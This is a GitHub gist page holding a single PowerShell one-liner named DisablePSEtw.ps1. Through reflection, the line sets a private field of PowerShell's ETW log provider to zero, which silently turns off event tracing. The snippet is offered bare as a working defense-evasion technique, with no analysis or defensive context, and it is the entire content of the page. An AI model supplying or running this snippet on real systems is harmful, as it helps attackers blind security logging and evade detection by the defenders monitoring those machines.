Skip to content

Instantly share code, notes, and snippets.

@wilsonfisk77
Forked from S3cur3Th1sSh1t/DisablePSEtw.ps1
Created October 2, 2021 20:24
Show Gist options
  • Save wilsonfisk77/9ecd5ece690b85bfaa2483d746d971be to your computer and use it in GitHub Desktop.
Save wilsonfisk77/9ecd5ece690b85bfaa2483d746d971be to your computer and use it in GitHub Desktop.
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment